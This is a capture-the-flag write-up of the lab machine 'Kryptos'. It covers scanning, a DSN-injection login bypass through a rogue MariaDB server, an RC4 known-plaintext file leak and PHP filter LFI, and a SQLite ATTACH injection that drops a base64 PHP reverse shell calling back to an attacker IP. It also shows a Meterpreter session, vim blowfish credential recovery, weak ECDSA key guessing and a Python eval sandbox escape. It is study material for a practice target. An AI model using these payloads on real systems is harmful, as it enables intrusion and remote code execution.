Kryptos

Scanning

```
┌──[borchito@parrot]─[~]
└─────$ $nmap -sV -p- -sC 10.10.10.129 —max-retries 1
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-07 22:0
Warning: 10.10.10.129 giving up on port because retransmi
cap hit (1).
Nmap scan report for 10.10.10.129
Host is up (0.039s latency).
Not shown: 65504 closed ports, 29 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ub
Linux; protocol 2.0)
| ssh-hostkey:
|   2048 2c:b3:7e:10:fa:91:f3:6c:4accd7:f4:88:0f:08:90 (RS
|   256 0c💿47:2b:96:a2:50:5e:99BFbd:d0🇩🇪05:5d:ed (ECD
|_  256 e6:5a:cb:c8:dcBE06:04CFdb:3a:96:e7:5a:d5:aa (ED2
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cryptor Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Enum

80/tcp – http

On source code of main page…

```
  <input type="hidden" id="db" name="db" value="cryptor">
  <input type="hidden" name="token" value="f8c43e286df869a6d0f4e77834a214fe5da53eb7c126606fc18888bf2952c2fc" />
  <button type="submit" class="btn btn-primary" name="login">Submit</button>
</form>
```

Token keeps changing each time you send a submit (only with the submision) and the new token comes in the response.
I created a python script which automatically changes the token for the good one and lets you inject in db field. Looks like it throws an error.

```python
from cmd import Cmd
import requests
from bs4 import BeautifulSoup

class Terminal(Cmd):
    prompt = '>'

    def __init__(self):
        url = "http://10.10.10.129"
        headers = { ...
        cookies = {"PHPSESSID": "01vufav5aumbd99vv1oujpiacm"}

        response = requests.get(url, headers=headers, cookies=cookies)
        soup = BeautifulSoup(response.text, 'html.parser')
        self.token = soup.find('input', {'name' : 'token'})['value']
        Cmd.__init__(self)

    def do_cmd(self, args):
        print(args)

    def default(self, args):
        cmd = args
        injection = "cryptor" + cmd
        print(injection)
        url = "http://10.10.10.129"
        #url = "http://127.0.0.1:8081"
        headers = { ...
        cookies = {"PHPSESSID": "01vufav5aumbd99vv1oujpiacm"}
        data = {
                "username": "a",
                "password": "a",
                "db": injection,
                "token" : self.token,
                "login": ""
                }

        response = requests.post(url, headers=headers, cookies=cookies, data=data)
        soup = BeautifulSoup(response.text, 'html.parser')

        print(response.text)
        if "PDOException" not in response.text:
            self.token = soup.find('input', {'name' : 'token'})['value']


terminal = Terminal()
terminal.cmdloop()
```

```
>asdf
cryptorasdf
PDOException code: 1044
>dd
cryptordd
PDOException code: 1044
>-- -
cryptor-- -
PDOException code: 1044
>";
cryptor";
PDOException code: 1044
>";-- -
cryptor";-- -
PDOException code: 1044
>%22%3b%2d%2d%20%2d
cryptor%22%3b%2d%2d%20%2d
PDOException code: 1044
>
```

http://dann.com.br/shx13-web300-restricted_area/
So start a MariaDB server on our machine and modify root privileges to allow remote access.

```
MariaDB [(none)]> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION;
Query OK, 0 rows affected (0.001 sec)

MariaDB [(none)]> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.065 sec)
```

Using our script and injecting on db param, we find some interesting stuff coming to our server (check in wireshark)

```
fiti@fitiLand:~/Desktop/htb/Kryptos$ python3 login_tests.py
>d
cryptord
PDOException code: 1044
>;host=10.10.15.137;port=3306
cryptor;host=10.10.15.137;port=3306
PDOException code: 1130
```

Source	Destination	Protocol	Length	Info
10.10.10.129	10.10.15.137	TCP	60	57336 → 3306 [SYN] Seq=0 Win=29200 Len=0 MSS=1357 SACK_PERM=1 TSval=3124216667 TSecr=0 WS=128
10.10.15.137	10.10.10.129	TCP	60	3306 → 57336 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=55109012 TSecr=3
10.10.10.129	10.10.15.137	TCP	52	57336 → 3306 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=3124216782 TSecr=55109012
10.10.15.137	10.10.10.129	MySQL	147	Server Greeting proto=10 version=5.5.5-10.3.12-MariaDB-2
10.10.10.129	10.10.15.137	TCP	52	57336 → 3306 [ACK] Seq=1 Ack=96 Win=29312 Len=0 TSval=3124216901 TSecr=55109132
10.10.10.129	10.10.15.137	MySQL	168	Login Request user=dbuser db=cryptor
10.10.15.137	10.10.10.129	TCP	52	3306 → 57336 [ACK] Seq=96 Ack=117 Win=29056 Len=0 TSval=55109251 TSecr=3124216902
10.10.15.137	10.10.10.129	MySQL	133	Response Error 1045
10.10.15.137	10.10.10.129	TCP	52	3306 → 57336 [FIN, ACK] Seq=177 Ack=117 Win=29056 Len=0 TSval=55109252 TSecr=3124216902
10.10.10.129	10.10.15.137	TCP	52	57336 → 3306 [FIN, ACK] Seq=117 Ack=177 Win=29312 Len=0 TSval=3124217024 TSecr=55109252
10.10.15.137	10.10.10.129	TCP	52	3306 → 57336 [ACK] Seq=178 Ack=118 Win=29056 Len=0 TSval=55109369 TSecr=3124217024
10.10.10.129	10.10.15.137	TCP	52	57336 → 3306 [ACK] Seq=118 Ack=178 Win=29312 Len=0 TSval=3124217027 TSecr=55109252

We have the name of the username who is trying to connect and also the name (already known) of the DB… But we cannot crack the password that victim is giving to us so we just will stop the server and run it again with:
sudo mysqld --skip-grant-tables
Now, connecting again, the victim is connecting to us even with a wrong password.

```
▾ MySQL Protocol
    Packet Length: 108
    Packet Number: 0
  ▾ Request Command Query
      Command: Query (3)
      Statement: SELECT username, password FROM users WHERE username='fiti' AND password='0a3821c82b259e6239655e3286cfcf63'
```

Activate wireshark to see everything clearer and:

1. Create a bbdd named cryptor.
2. Create a table named user with username and password.
3. Create user fiti:<password_hash_wireshark>
4. Call the login page again.
5. Login bypassed!

After login we find a page which encrypts any file you give to it in two different cyphers. RC4 is our selection because it is vulnerable and, knowing a a Plaintext and resulting Cyphertext, we can infer the plaintext2 corresponding to a certain cypertext2 as follows.
Plaintext2 = Plaintext XOR Cyphertext2 XOR Cyphertext.
Using this and the pseudo-LFI present on the page, we can leak contents of the page (using http://10.10.10.129/whatever_accesible_file.php but also http://127.0.0.1/whatever_accesible_file.php to grab some files not accessible from outside).
I leaked the following, in order:

- http://127.0.0.1/dev/
- http://127.0.0.1/dev/index.php?view=todo
- http://127.0.0.1/dev/sqlite_test_page.php (raw data, need to decrypt it).
- http://127.0.0.1/dev/index.php?view=php://filter/convert.base64-encode/resource=sqlite_test_page
- http://127.0.0.1/dev/index.php?view=php://filter/convert.base64-encode/resource=encrypt (decrypt, aes and index)

So, how to leak that folder? Checking /dev/index.php code there's a LFI issue there. We can exploit it using php wrappers. And this way we can leak sqlite_test_page.php which reveals the path.
It also has a SQLi on bookid param. We can use it to make stacked queries, create a new database on a file and then trigger it.
(Source: http://www.sqlitetutorial.net/sqlite-attach-database/)

When you connect to a database, its name is `main` regardless of the database file name. In addition, you can access the temporary database that holds temporary tables and other database objects via the `temp` database.

Therefore, every SQLite database connection has the `main` database and also `temp` database in case you deal with temporary database objects.

To attach an additional database to the current database connection, you use the `ATTACH DATABASE` statement as follows:

```
1 ATTACH DATABASE file_name AS database_name;
```

The statement associates the database file `file_name` with the current database connection under the logical database name `database_name`.

If the database file name `file_name` does not exist, the statement creates a new database file.

Exploitation
The way of getting a shell is as follows:
1. SQLi injection creating a new DB and a table. The content of that table is php code copying a string to a file on the world-writable folder. The string is a php-reverse shell b64 encoded.

```
1;+ATTACH+DATABASE+'/var/www/html/dev/d9e28afcf0b274a5e0542abb67db0784/fitipwn.php'+AS+fitipwn;+CREATE
+TABLE+fitipwn.pwn(dataz+text);+INSERT+INTO+lol.pwn+(dataz)+VALUES+('<?php+\$str=
\"Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEwLjEwLjE1LjIwMyc7ICRwb3J0ID0gNDQzOyBpZiAoKCRmI
D0gJ3N0cmVhbV9zb2NrZXRfY2xpZW50JykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoInRjcDovL3skaXB9OnskcG9ydH0i
KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ2Zzb2Nrb3BlbicpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyA
kcyA9ICRmKCRpcCwgJHBvcnQpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnc29ja2V0X2NyZWF0ZScpIC
YmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0xfVENQKTsgJHJlcyA9IEBzb2NrZXRfY
29ubmVjdCgkcywgJGlwLCAkcG9ydCk7IGlmICghJHJlcykgeyBkaWUoKTsgfSAkc190eXBlID0gJ3NvY2tldCc7IH0gaWYgKCEkc190
eXBlKSB7IGRpZSgnbm8gc29ja2V0IGZ1bmNzJyk7IH0gaWYgKCEkcykgeyBkaWUoJ25vIHNvY2tldCcpOyB9IHN3aXRjaCAoJHNfdHl
wZSkgeyBjYXNlICdzdHJlYW0nOiAkbGVuID0gZnJlYWQoJHMsIDQpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF
9yZWFkKCRzLCA0KTsgYnJlYWs7IH0gaWYgKCEkbGVuKSB7IGRpZSgpOyB9ICRhID0gdW5wYWNrKCJObGVuIiwgJGxlbik7ICRsZW4gP
SAkYVsnbGVuJ107ICRiID0gJyc7IHdoaWxlIChzdHJsZW4oJGIpIDwgJGxlbikgeyBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3Ry
ZWFtJzogJGIgLj0gZnJlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkYiAuPSBzb2NrZXRfcmV
hZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IH0gfSAkR0xPQkFMU1snbXNnc29jayddID0gJHM7ICRHTE9CQUxTWydtc2dzb2
NrX3R5cGUnXSA9ICRzX3R5cGU7IGlmIChleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjd
XRvci5kaXNhYmxlX2V2YWwnKSkgeyAkc3Vob3Npbl9ieXBhc3M9Y3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7ICRzdWhvc2luX2J5cGFz
cygpOyB9IGVsc2UgeyBldmFsKCRiKTsgfSBkaWUoKTs=\";+file_put_contents(\"/var/www/html/dev/
d9e28afcf0b274a5e0542abb67db0784/fitipwn2.php\",base64_decode(\$str));+?>');--
```

2. Load the first created file (fitipwn.php) in order to get php code executed.
php://filter/resource=d9e28afcf0b274a5e0542abb67db0784/fitipwn
3. Load the second created file (fitipwn.php), with our reverse shell.
php://filter/resource=d9e28afcf0b274a5e0542abb67db0784/fitipwn2

```
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.15.203:443
[*] Sending stage (38247 bytes) to 10.10.10.129
[*] Meterpreter session 1 opened (10.10.15.203:443 -> 10.10.10.129:34794) at 2019-06-16 15:16:41 +0200

meterpreter > shell
Process 847 created.
Channel 0 created.
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@kryptos:/var/www/html/dev$ ls
ls
about.php  d9e28afcf0b274a5e0542abb67db0784  sqlite_test_page.php
books.db   index.php                         todo.php
```

We cannot read user flag anyway…
Found interesting creds in /home/rijndael, but useless on SSH…

```
www-data@kryptos:/home/rijndael$ cat creds.old
cat creds.old
rijndael / Password1
www-data@kryptos:/home/rijndael$ cat creds.txt
cat creds.txt
VimCrypt~02!
```

That last file looks suspicious… What's VimCrypt~02!? Googling a little bit gives us the answer: vim is able to encrypt files and VimCrypt~02! Is the header used when the encryption mode is blowfish.
(Source: https://dgl.cx/2014/10/vim-blowfish)
Basically, vim blowfish is reusing the keystream used for XORing the plaintext, so knowing a piece of plaintext (1 block, 8 bytes) and its ciphertext, we can get the keystream and XORing everything again to get the plaintext. We know the username on the credentials, so we can get the rest. The following script summarize this and get the credentials.

```python
#!/usr/bin/python
import base64

def sxor(s1,s2):
    '''
    XOR 2 strings byte by byte. Only working like that in python2.
    '''
    return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))

def main():
    '''
    keystream = Blowfish(iv)
    ciphertext1 = XOR(keystream, plaintext[0:7])
    ciphertext2 = XOR(keystream, plaintext[8:15])

    keystream = XOR(ciphertext1, plaintext[0:7])
    plaintext = XOR(keystream, ciphertext[blocks of 8 bytes])
    '''

    file_b64 = "VmltQ3J5cHR+MDIhCxjkNctWEpo1RIBAcDuWLZMNqBB2bmRdwUviHHlZQ33ZNfs2Z01SQYtu"
    file = base64.b64decode(file_b64)
    known_user = "rijndael"

    no_bullshit = file[28:] # First 28 bytes are useless for us.
    cipher_user = no_bullshit[:8] # First 8 bytes should be user.
    keystream = sxor(cipher_user, known_user)

    cleartext = ""
    for i in range(0, len(no_bullshit), 8):
        cleartext += sxor(keystream, no_bullshit[i:])
    print(cleartext)


if __name__ == "__main__":
    main()
```

After this, we can login via ssh and get user flag.

Privesc

On the same folder, as we saw previously there's a subfolder "kryptos" with a .py server, this server is running on port 127.0.0.1:81 as root. Download the code to make tests locally first.

After couple of tests, we get that the server is expecting a POST request with JSON data on /eval. There's also a /debug function which helps us to understand this.

```
root@FitiPwn:/home/fiti/Desktop/htb/Kryptos# curl -d '{"expr":"2+2", "sig":"9acfc703b0f69d53a47016bccdd2e
3f9e8258aecbaf975cbfd37d00b6a99d45dfc366f8896d8040d62d2fe741c51db95a0d314d90b87042062be122017fb0a85298f5c
e61d627c6a7da4af6368d68bb6ec38f0c36a3ca8f42589ad0fceecd94d"}' -H "Content-Type: application/json" -X POST
 http://127.0.0.1:81/eval
{
  "response": {
    "Expression": "2+2",
    "Result": "4"
  }
```

The vulnerable code itself is this one:

```
result = eval(expr, {'__builtins__':None}) # Builtins are removed, this should be pretty safe
```

But also this one, because the keys generated by from_secret_exponent() are really limited, so we can guess them.

```python
def secure_rng(seed):
    # Taken from the internet - probably secure
    p = 2147483647
    g = 2255412

    keyLength = 32
    ret = 0
    ths = round((p-1)/2)
    for i in range(keyLength*8):
        seed = pow(g,seed,p)
        if seed > ths:
            ret += 2**i
    return ret

# Set up the keys
seed = random.getrandbits(128)
rand = secure_rng(seed) + 1
sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)
vk = sk.get_verifying_key()
```

With all this information, we have two things to bypass in order to get our reverse shell working:

1. Guess server key.

Basically, we'll try and try, till our key is the same. We will know that because server response will be different than "Bad Signature".

2. Bypass '__builtins__':None

A little bit trickier. We cannot directly use "import os" so we need to find a way of doing it without doing it (lol).
(Sources: https://www.floyd.ch/?p=584; https://wapiflapi.github.io/2013/04/22/plaidctf-pyjail-story-of-pythons-escape/)

```python
#payload = "[x for x in (1.__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]
().__module" #Check if we can load this module. We can.
# Execute cmd
payload = "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]
().__module.__builtins__['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ ==
'catch_warnings'][0]().__module.__builtins__['__import__']('os').system('" + cmd + "'))"
```